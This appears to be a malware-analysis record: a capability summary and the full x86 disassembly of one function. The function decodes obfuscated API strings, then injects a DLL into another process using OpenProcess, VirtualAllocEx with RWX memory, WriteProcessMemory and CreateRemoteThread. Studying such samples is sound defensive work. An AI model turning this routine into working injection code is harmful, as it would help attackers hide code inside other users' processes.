Function at 0x4013f0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
mov eax, dword [0x407018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x103
lea eax, [ebp - 0x117]
mov esi, ecx
push 0
push eax
mov dword [ebp - 0x13c], esi
mov byte [ebp - 0x118], 0
call sub.MSVCR100.dll_memset
mov eax, dword [ebp + 8]
add esp, 0xc
cmp dword [ebp + 0x1c], 0x10
jae 0x401437
lea eax, [ebp + 8]
push 0
lea ecx, [ebp - 0x118]
push ecx
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
jmp 0x401456
mov esi, dword [ebp - 0x13c]
test esi, esi
je 0x401456
push esi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
je 0x401456
mov ecx, 0x1f
xor eax, eax
mov dl, byte [eax + str.SO_FoMGTFZPk]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x128], dl
jns 0x401495
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xc
jl 0x401475
mov byte [ebp - 0x11c], 0
mov ecx, 0x25
xor eax, eax
lea esp, [esp]
mov dl, byte [eax + str.NCUFLF]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x138], dl
jns 0x4014d0
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xc
jl 0x4014b0
lea eax, [ebp - 0x128]
push eax
lea ecx, [ebp - 0x138]
push ecx
mov byte [ebp - 0x12c], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
mov dword [ebp - 0xe], eax
lea eax, [ebp - 0x118]
mov dword [ebp - 0x138], ecx
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x130], ecx
mov byte [ebp - 0x12c], cl
mov dword [ebp - 0x128], ecx
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x120], ecx
mov byte [ebp - 0x11c], cl
mov dword [ebp - 0x14], 0x8b55ff8b
mov word [ebp - 0x10], 0xb8ec
mov dword [ebp - 0xa], 0xff05c083
mov word [ebp - 6], 0xc3e0
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401550
push 0x40
sub eax, ecx
push 0x3000
inc eax
push eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x401450
lea eax, [ebp - 0x118]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401580
sub eax, edx
push 0
inc eax
push eax
lea edx, [ebp - 0x118]
push edx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
setne al
test al, al
je 0x401450
push 0x40
push 0x3000
push 0x10
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
je 0x401450
push 0
push 0x10
lea eax, [ebp - 0x14]
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
setne al
test al, al
je 0x401450
push 0
push 0
push edi
push esi
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x401450
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [ebp + 0x1c], 0x10
pop edi
pop esi
pop ebx
jb 0x40161a
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov al, 1
call fcn.004034d0
mov esp, ebp
pop ebp
ret